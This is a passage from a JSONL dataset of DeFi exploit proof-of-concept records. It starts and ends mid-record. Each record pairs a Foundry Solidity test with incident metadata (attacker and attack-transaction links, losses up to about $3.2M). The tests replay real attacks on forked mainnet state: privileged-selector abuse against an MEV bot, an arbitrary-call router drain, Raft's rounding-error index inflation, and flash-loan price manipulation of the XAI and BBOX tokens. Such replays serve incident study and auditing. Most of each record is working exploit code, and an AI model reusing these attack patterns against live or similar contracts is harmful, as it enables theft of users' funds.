https://bscscan.com/address/0x8c2d4ed92badb9b65f278efb8b440f4bc995ffe7\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x3dcb26a1f49eb4d02ca29960b4833bfb2e83d7b5d9591aed1204168944c8c9b3\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1723897569661657553\n\ncontract ContractTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 private constant WBNB_BUSDT = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n address private constant victimMevBot = 0x8C2D4ed92Badb9b65f278EfB8b440F4BC995fFe7;\n address private constant assetHarvestingContract = 0x19a23DdAA47396335894229E0439D3D187D89eC9;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_435_892);\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(WBNB_BUSDT), \"WBNB_BUSDT\");\n vm.label(victimMevBot, \"victimMevBot\");\n vm.label(assetHarvestingContract, \"assetHarvestingContract\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n bytes memory data = abi.encode(assetHarvestingContract, victimMevBot);\n WBNB_BUSDT.swap(BUSDT.balanceOf(victimMevBot), 0, address(this), data);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n // (address _assetHarvestingContract, address _victimMevBot) = abi.decode(\n // _data,\n // (address, address)\n // );\n BUSDT.approve(assetHarvestingContract, type(uint256).max);\n uint256 currentTimePlusOne = block.timestamp + 1;\n uint256 chainId;\n assembly {\n chainId := chainid()\n }\n // Start exploit\n // Use function with 0xac3994ec selector to designate privileged role for attacker in the victim contract\n designateRole(currentTimePlusOne, chainId);\n // Transfer BUSDT from victim to attacker\n harvestAssets(currentTimePlusOne, chainId);\n // End exploit\n\n BUSDT.approve(assetHarvestingContract, 0);\n\n // Repay BUSDT loan\n uint256 repayAmount = 1 + (3 * _amount0) / 997 + _amount0;\n BUSDT.transfer(address(WBNB_BUSDT), repayAmount);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function designateRole(uint256 time, uint256 chain) internal {\n (bool success,) = assetHarvestingContract.call(\n abi.encodeWithSelector(\n bytes4(0xac3994ec),\n BUSDT.balanceOf(address(this)),\n uint8(0),\n (time << 96) | ((chain << 64) & 0xffffffff0000000000000000),\n uint8(0),\n address(BUSDT),\n uint8(0),\n uint8(0),\n address(this)\n )\n );\n require(success, \"Call to designateRole() fail\");\n }\n\n function harvestAssets(uint256 time, uint256 chain) internal {\n (bool success,) = assetHarvestingContract.call(\n abi.encodeWithSelector(\n bytes4(0x1270d364),\n BUSDT.balanceOf(address(this)),\n uint8(0),\n (time << 96) | ((chain << 64) & 0xffffffff0000000000000000),\n uint8(0),\n address(BUSDT),\n uint8(0),\n uint8(0),\n victimMevBot,\n address(this),\n uint8(0)\n )\n );\n require(success, \"Call to harvestAssets() fail\");\n }\n}\n", "type": "exploit_poc", "protocol": "MEV_0x8c2d", "date": "2023-11", "file_name": "MEV_0x8c2d_exp.sol", "attack_vector": null, "content_hash": "f15973151ed78582", "collected_at": "2026-01-07T10:59:16.537435", "_source": "postmortems", "chain": "bsc", "block_number": 33435892, "total_lost_raw": "~$365K", "total_lost_usd": 365000.0, "attacker_address": "https://bscscan.com/address/0x69e068eb917115ed103278b812ec7541f021cea0", "attack_contract": "https://bscscan.com/address/0x3918e0d26b41134c006e8d2d7e3206a53b006108", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x3dcb26a1f49eb4d02ca29960b4833bfb2e83d7b5d9591aed1204168944c8c9b3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$365K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n bytes memory data = abi.encode(assetHarvestingContract, victimMevBot);\n WBNB_BUSDT.swap(BUSDT.balanceOf(victimMevBot), 0, address(this), data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$365K", "keyinfo_attacker": "https://bscscan.com/address/0x69e068eb917115ed103278b812ec7541f021cea0", "keyinfo_attack_contract": "https://bscscan.com/address/0x3918e0d26b41134c006e8d2d7e3206a53b006108", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x3dcb26a1f49eb4d02ca29960b4833bfb2e83d7b5d9591aed1204168944c8c9b3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$365.0K", "content_richness_score": 6.97, "quality_estimate": "medium", "title": "MEV_0x8c2d Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$2M\n// Attacker : https://etherscan.io/address/0x46d9b3dfbc163465ca9e306487cba60bc438f5a2\n// Attack Contract : https://etherscan.io/address/0xeadf72fd4733665854c76926f4473389ff1b78b1\n// Vuln Contract : https://etherscan.io/address/0x05f016765c6c601fd05a10dba1abe21a04f924a5\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1722101942061601052\ninterface ISmartVaultManagerV2 {\n function mint() external;\n function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external;\n}\n\ninterface ICurve {\n function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;\n}\n\ninterface ISwapFlashLoan {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ncontract ContractTest is Test {\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n address router = 0x05f016765c6C601fd05a10dBa1AbE21a04F924A5;\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n ICurve firstCrvPool = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n ICurve secondCrvPool = ICurve(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 limitSqrtPrice;\n }\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_523_344 - 1);\n cheats.label(address(weth), \"WETH\");\n cheats.label(address(secondCrvPool), \"Curve.fi: USDT/WBTC/WETH Pool\");\n }\n\n function testExpolit() public {\n emit log_named_decimal_uint(\"attacker balance before attack\", weth.balanceOf(address(this)), weth.decimals());\n\n aave.flashLoanSimple(address(this), address(weth), 27_255_000_000_000_000_000_000, new bytes(1), 0);\n emit log_named_decimal_uint(\"attacker balance after attack\", weth.balanceOf(address(this)), weth.decimals());\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external payable returns (bool) {\n weth.approve(address(aave), type(uint256).max);\n bytes4 vulnFunctionSignature = hex\"f6ebebbb\";\n bytes memory data = abi.encodeWithSelector(\n vulnFunctionSignature,\n usdc.balanceOf(address(router)),\n 0,\n address(usdc),\n address(usdt),\n address(firstCrvPool),\n 0,\n 0\n );\n (bool success, bytes memory result) = address(router).call(data);\n data = abi.encodeWithSelector(\n vulnFunctionSignature,\n usdt.balanceOf(address(router)),\n 0,\n address(usdt),\n address(weth),\n address(secondCrvPool),\n 0,\n 0\n );\n (success, result) = address(router).call(data);\n data = abi.encodeWithSelector(\n vulnFunctionSignature,\n wbtc.balanceOf(address(router)),\n 0,\n address(wbtc),\n address(weth),\n address(secondCrvPool),\n 0,\n 0\n );\n (success, result) = address(router).call(data);\n\n weth.approve(address(secondCrvPool), type(uint256).max);\n secondCrvPool.exchange(2, 1, weth.balanceOf(address(this)), 0);\n data = abi.encodeWithSelector(\n vulnFunctionSignature,\n weth.balanceOf(address(router)),\n 0,\n address(weth),\n address(wbtc),\n address(secondCrvPool),\n 0,\n 0\n );\n (success, result) = address(router).call(data);\n wbtc.approve(address(secondCrvPool), type(uint256).max);\n secondCrvPool.exchange(1, 2, wbtc.balanceOf(address(this)), 0);\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "bot", "date": "2023-11", "file_name": "bot_exp.sol", "attack_vector": "flash_loan", "content_hash": "c0756aed3f045ab7", "collected_at": "2026-01-07T10:59:16.537484", "_source": "postmortems", "chain": "ethereum", "block_number": 18523344, "total_lost_raw": "~$2M", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0x46d9b3dfbc163465ca9e306487cba60bc438f5a2", "attack_contract": "https://etherscan.io/address/0xeadf72fd4733665854c76926f4473389ff1b78b1", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$2M", "category": "flash-loan", "exploit_code": "function testExpolit() public {\n emit log_named_decimal_uint(\"attacker balance before attack\", weth.balanceOf(address(this)), weth.decimals());\n\n aave.flashLoanSimple(address(this), address(weth), 27_255_000_000_000_000_000_000, new bytes(1), 0);\n emit log_named_decimal_uint(\"attacker balance after attack\", weth.balanceOf(address(this)), weth.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$2M", "keyinfo_attacker": "https://etherscan.io/address/0x46d9b3dfbc163465ca9e306487cba60bc438f5a2", "keyinfo_attack_contract": "https://etherscan.io/address/0xeadf72fd4733665854c76926f4473389ff1b78b1", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 8.24, "quality_estimate": "high", "title": "bot Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~3.2 M USD$\n// Attacker : https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa\n// Attack Contract : https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef8\n// Vulnerable Contract : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244\n// Attack Tx :https://etherscan.io/tx/0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1723229393529835972\n\ninterface IPRM {\n function liquidate(\n address position\n ) external;\n\n struct ERC20PermitSignature {\n address token;\n uint256 value;\n uint256 deadline;\n uint8 v;\n bytes32 r;\n bytes32 s;\n }\n\n function managePosition(\n IERC20 collateralToken,\n address position,\n uint256 collateralChange,\n bool isCollateralIncrease,\n uint256 debtChange,\n bool isDebtIncrease,\n uint256 maxFeePercentage,\n ERC20PermitSignature calldata permitSignature\n ) external returns (uint256 actualCollateralChange, uint256 actualDebtChange);\n}\n\ninterface IRaftOracle {\n function fetchPrice() external returns (uint256, uint256);\n}\n\ninterface IERC20Indexable is IERC20 {\n function currentIndex() external view returns (uint256);\n\n function totalSupply() external view override returns (uint256);\n\n function mint(address to, uint256 amount) external;\n\n function burn(address from, uint256 amount) external;\n}\n\ninterface ICurve {\n function exchange(\n uint256 i,\n uint256 j,\n uint256 dx,\n uint256 min_dy,\n bool use_eth,\n address receiver\n ) external payable returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IPRM PRM = IPRM(0x9AB6b21cDF116f611110b048987E58894786C244);\n address liquidablePosition = 0x011992114806E2c3770df73fa0D19884215db85F;\n IERC20Indexable rcbETH_c = IERC20Indexable(0xD0Db31473CaAd65428ba301D2174390d11D0C788);\n IERC20Indexable rcbETH_d = IERC20Indexable(0x7beBe1D451291099D8e05fA2676412c09C96dFbC);\n IERC20 R = IERC20(0x183015a9bA6fF60230fdEaDc3F43b3D788b13e21);\n Uni_Pair_V3 R_USDC_Pair = Uni_Pair_V3(0x190Ed02Adaf1Ef8039fCD3f006b42553467D5045);\n Uni_Pair_V3 WETH_USDC_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);\n IRaftOracle RaftOracle = IRaftOracle(0x3cd40D6e8426C9f02Fe7B23867661377E462df3d);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address expContract = 0x0A3340129816a86b62b7eafD61427f743c315ef8;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_543_485);\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(PRM), \"PRM\");\n vm.label(address(rcbETH_c), \"rcbETH_c\");\n vm.label(address(rcbETH_d), \"rcbETH_d\");\n vm.label(address(R), \"R\");\n vm.label(address(R_USDC_Pair), \"R_USDC_Pair\");\n vm.label(address(WETH_USDC_Pair), \"WETH_USDC_Pair\");\n vm.label(address(WETH_USDC_Pair), \"WETH_USDC_Pair\");\n vm.label(address(RaftOracle), \"RaftOracle\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(cbETH), \"cbETH\");\n }\n\n function testExploit() external {\n deal(address(this), 0);\n deal(address(cbETH), address(this), 1.5 ether);\n deal(address(R), address(this), 3405 ether);\n vm.startPrank(address(PRM));\n rcbETH_d.mint(address(this), 3100 ether); // minimum position debt limit: 3_000 rcbETH-d\n vm.stopPrank();\n\n R.approve(address(PRM), type(uint256).max);\n cbETH.approve(address(PRM), type(uint256).max);\n\n address[] memory assets = new address[](1);\n assets[0] = address(cbETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 6000 ether;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\"Attacker R balance after exploit\", R.balanceOf(address(this)), R.decimals());\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, WETH.decimals());\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);\n\n console.log(\"before infalte index, the storedIndex\", rcbETH_c.currentIndex() / 1e18);\n\n uint256 storedindex1 = rcbETH_c.currentIndex();\n\n uint256 rcbETH_c_HeldbyAttacker = rcbETH_c.balanceOf(address(expContract)) * 1e18 / storedindex1;\n\n cbETH.transfer(address(PRM), cbETH.balanceOf(address(this))); // donate cbETH to PRM\n PRM.liquidate(liquidablePosition); // liquidate position to trigger setIndex\n\n console.log(\"after infalte index, the storedIndex\", rcbETH_c.currentIndex() / 1e18);\n\n uint256 storedindex2 = rcbETH_c.currentIndex();\n\n console.log(\"storedIndex magnification factor\", storedindex2 / storedindex1);\n\n IPRM.ERC20PermitSignature memory ERC20PermitSignature =\n IPRM.ERC20PermitSignature(address(0), uint256(0), uint256(0), uint8(0), bytes32(0), bytes32(0));\n\n for (uint256 i; i < (60 + rcbETH_c_HeldbyAttacker); i++) {\n PRM.managePosition(cbETH, address(this), 1, true, 0, true, 1e18, ERC20PermitSignature); // mint 1 wei rcbETH-c only using 1 wei cbETH through precision loss(rounding error)\n }\n\n uint256 collateralChange = cbETH.balanceOf(address(PRM));\n PRM.managePosition(cbETH, address(this), collateralChange, false, 0, true, 1e18, ERC20PermitSignature); // redeem donate cbETH from PRM\n\n uint256 collateralAmount = rcbETH_c.balanceOf(address(this));\n (uint256 EtherPirce,) = RaftOracle.fetchPrice();\n EtherPirce = EtherPirce / 1e18;\n uint256 debtChange = collateralAmount * EtherPirce * 100 / 130 - rcbETH_d.balanceOf(address(this));\n PRM.managePosition(cbETH, address(this), 0, true, debtChange, true, 1e18, ERC20PermitSignature); // borrow R with remaing collateral\n\n RTocbETH(); // swap R to cbETH\n\n return true;\n }\n\n function RTocbETH() internal {\n R_USDC_Pair.swap(address(this), true, 200_000 ether, uint160(1_205_121_041_394_742_669_707), \"\");\n WETH_USDC_Pair.swap(\n address(this),\n true,\n int256(USDC.balanceOf(address(this))),\n uint160(1_628_639_395_569_858_913_243_247_992_892_595),\n \"\"\n );\n WETH.withdraw(WETH.balanceOf(address(this)));\n cbETH_ETH_Pool.exchange{value: 5 ether}(0, 1, 5 ether, 4.5 ether, true, address(this));\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (Uni_Pair_V3(msg.sender).token0() == address(R)) {\n R.transfer(address(R_USDC_Pair), uint256(amount0Delta));\n } else if (Uni_Pair_V3(msg.sender).token0() == address(USDC)) {\n USDC.transfer(address(WETH_USDC_Pair), uint256(amount0Delta));\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Raft", "date": "2023-11", "file_name": "Raft_exp.sol", "attack_vector": "flash_loan", "content_hash": "3f5ed219e7f2d33c", "collected_at": "2026-01-07T10:59:16.537538", "_source": "postmortems", "chain": "ethereum", "block_number": 18543485, "total_lost_raw": "~3.2 M USD$", "total_lost_usd": 3200000.0, "attacker_address": "https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa", "attack_contract": "https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef8", "vulnerable_contract": "https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244", "attack_tx": "https://etherscan.io/tx/0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1723229393529835972", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~3.2 M USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~3.2 M USD$", "keyinfo_attacker": "https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa", "keyinfo_attack_contract": "https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef8", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244", "keyinfo_attack_tx": "https://etherscan.io/tx/0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1723229393529835972", "funds_lost_formatted": "$3.20M", "content_richness_score": 8, "quality_estimate": "high", "title": "Raft Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Unclear\n// Attacker : https://bscscan.com/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba\n// Attack Contract : https://bscscan.com/address/0x7b11ae85f73b7ee6aa84cc91430581bd952d9ffa\n// Vulnerable Contract : https://bscscan.com/address/0x570ce7b89c67200721406525e1848bca6ff5a6f3\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x2b251e456c434992b9ac7ec56dc166550c4cd7db3adefbf7eb3ab91cef55f9bf\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x570ce7b89c67200721406525e1848bca6ff5a6f3#code#L646\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1724683082064855455\n// Hacking God :\n\ninterface IXAI is IERC20 {\n function burn(\n uint256 amount\n ) external;\n}\n\ncontract XAIExploit is BaseTestWithBalanceLog {\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IXAI private constant XAI = IXAI(0x570Ce7b89c67200721406525e1848bca6fF5A6F3);\n DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 private constant XAI_WBNB = Uni_Pair_V2(0xe633c651e6B3F744e7DeD314CDb243cf606A5F5B);\n\n uint256 blocknumToForkFrom = 33_503_556;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(XAI), \"XAI\");\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(XAI_WBNB), \"XAI_WBNB\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n XAI.approve(address(PancakeRouter), type(uint256).max);\n DPPOracle.flashLoan(WBNB.balanceOf(address(DPPOracle)), 0, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.approve(address(PancakeRouter), type(uint256).max);\n WBNBToXAI();\n uint256 burnAmount = XAI.totalSupply() - 4596;\n XAI.burn(burnAmount);\n XAI_WBNB.sync();\n XAIToWBNB();\n WBNB.transfer(address(DPPOracle), baseAmount);\n }\n\n function WBNBToXAI() private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(XAI);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function XAIToWBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(XAI);\n path[1] = address(WBNB);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n XAI.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "XAI", "date": "2023-11", "file_name": "XAI_exp.sol", "attack_vector": "flash_loan", "content_hash": "04bae15b2b011fe3", "collected_at": "2026-01-07T10:59:16.537602", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "Unclear", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "attack_contract": "https://bscscan.com/address/0x7b11ae85f73b7ee6aa84cc91430581bd952d9ffa", "vulnerable_contract": "https://bscscan.com/address/0x570ce7b89c67200721406525e1848bca6ff5a6f3", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x2b251e456c434992b9ac7ec56dc166550c4cd7db3adefbf7eb3ab91cef55f9bf", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1724683082064855455", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "Unclear", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n XAI.approve(address(PancakeRouter), type(uint256).max);\n DPPOracle.flashLoan(WBNB.balanceOf(address(DPPOracle)), 0, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "Unclear", "keyinfo_attacker": "https://bscscan.com/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "keyinfo_attack_contract": "https://bscscan.com/address/0x7b11ae85f73b7ee6aa84cc91430581bd952d9ffa", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x570ce7b89c67200721406525e1848bca6ff5a6f3", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x2b251e456c434992b9ac7ec56dc166550c4cd7db3adefbf7eb3ab91cef55f9bf", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1724683082064855455", "funds_lost_formatted": "Unknown", "content_richness_score": 7.67, "quality_estimate": "medium", "title": "XAI Exploit (2023-11)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1599599614490877952\n// @TX\n// https://bscscan.com/tx/0xac57c78881a7c00dfbac0563e21b5ae3a8e3f9d1b07198a27313722a166cc0a3\n\ncontract ContractTest is Test {\n IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n uint256 flashLoanAmount;\n address contractAddress;\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_106_506);\n }\n\n function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n BBOX.approve(address(Router), type(uint256).max);\n TransferBBOXHelp transferHelp = new TransferBBOXHelp(); // sell time limit\n contractAddress = address(transferHelp);\n flashLoanAmount = WBNB.balanceOf(dodo);\n DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n WBNBToBBOX();\n contractAddress.call(abi.encodeWithSignature(\"transferBBOX()\"));\n BBOXToWBNB();\n WBNB.transfer(dodo, flashLoanAmount);\n }\n\n function WBNBToBBOX() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BBOX);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1300 * 1e18, 0, path, contractAddress, block.timestamp\n );\n }\n\n function BBOXToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(BBOX);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BBOX.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp\n );\n }\n}\n\ncontract TransferBBOXHelp {\n IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);\n\n function transferBBOX() external {\n BBOX.transfer(msg.sender, BBOX.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "BBOX", "date": "2022-12", "file_name": "BBOX_exp.sol", "attack_vector": "flash_loan", "content_hash": "24422e0327dfda85", "collected_at": "2026-01-07T10:59:16.537642", "_source": "postmortems", "chain": "bsc", "block_number": 23106506, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n BBOX.approve(address(Router), type(uint256).max);\n TransferBBOXHelp transferHelp = new TransferBBOXHelp(); // sell time limit\n contractAddress = address(transferHelp);\n flashLoanAmount = WBNB.balanceOf(dodo);\n DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.26, "quality_estimate": "low", "title": "BBOX 